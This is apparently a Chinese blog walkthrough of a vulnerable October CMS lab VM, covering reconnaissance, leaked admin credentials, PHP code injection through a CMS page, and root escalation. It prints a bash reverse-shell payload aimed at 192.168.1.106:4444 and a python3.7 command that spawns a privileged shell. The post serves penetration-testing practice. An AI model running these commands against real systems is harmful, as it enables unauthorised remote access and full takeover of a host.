当前位置: 首页 > news >正文

october-cms

环境准备

靶机链接:百度网盘 请输入提取码

提取码:3e4s

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机ip。

2.探测靶机开放端口和服务情况。

漏洞探测

1.访问网页

2.用dirsearch扫描目录

dirsearch -u 192.168.1.101

3.访问目录是一个登录界面

4.查看下8080端口的源码,发现一个超链接信息

5.访问这个信息,发现用户名,密码

user - admin

password - adminadmin2

6.成功登录第三步的登录界面

漏洞利用

1.谷歌下发现这个October(十月)是一个用php语言搭建的cms

2.上传不了文件

3.虽然不能上传文件,但可以添加一个网页

4.保存之后,点击preview ; 发现报错,位置在右下角的code,这应该要php代码

5.直接谷歌 october cms code reverse shell

6.直接将查到的信息粘贴进code里 function onStart() { echo 123; }

7.再点击preview后没有报错,说明成功添加了一个网页

8.这次直接把code下面换成反弹shell的php代码,用exech函数来执行

function onStart() { echo exec('bash -c "bash -i >& /dev/tcp/192.168.1.106/4444 0>&1"'); }

权限提升

1.开启监听后,点击preview即可回弹shell

2.发现python3.7有root权限

3.直接提权,成功拿下!!!

/usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

http://www.lryc.cn/news/14197.html

相关文章:

  • 抖音怎样报白?报白需要审核哪些资料呢
  • Spring中的AOP
  • 文件系统与动静态库的基本了解
  • netty——IO、NIO、AIO进化之路
  • AI稳定生成图工业链路打造
  • 20230220华南金牌主板u盘启动
  • 测试团队都在用哪些不错的测试用例管理平台?盘点6大主流测试管理系统
  • linux 系统编程之线程
  • 从0开始学python -35
  • 1.14 golang中的结构体
  • 原创不易,坚持更难
  • 计算机网络 | 谈谈TCP的流量控制与拥塞控制
  • Flask入门(7):内置装饰器(钩子函数)
  • Java8新特性
  • 哈希表题目:设计哈希集合
  • java static关键字 万字详解
  • 光谱实验反射、透射光谱测量
  • 【基础算法】之 冒泡排序优化
  • Python | 线程锁 | 3分钟掌握【同步锁】(Threading.Lock)
  • Linux下安装MySQL8.0的详细步骤(解压tar.xz安装包方式安装)
  • leaflet 绘制多个点的envelope矩形(082)
  • CAJ论文怎么批量免费转换成Word
  • 面试必问: 结构体大小的计算方法
  • Java中super函数的用法
  • 第十一届“泰迪杯”数据挖掘挑战赛携“十万”大奖火热来袭
  • 分享三个可以在家做的正规兼职工作,看到就是赚到
  • javaFx实现鼠标穿透画布,同时操作画布和桌面,背景透明,类似ppt批注
  • 客户服务知识库的最佳实践7个步骤
  • 多重继承的虚函数表
  • 第11篇:Java开发工具使用和代码规范配置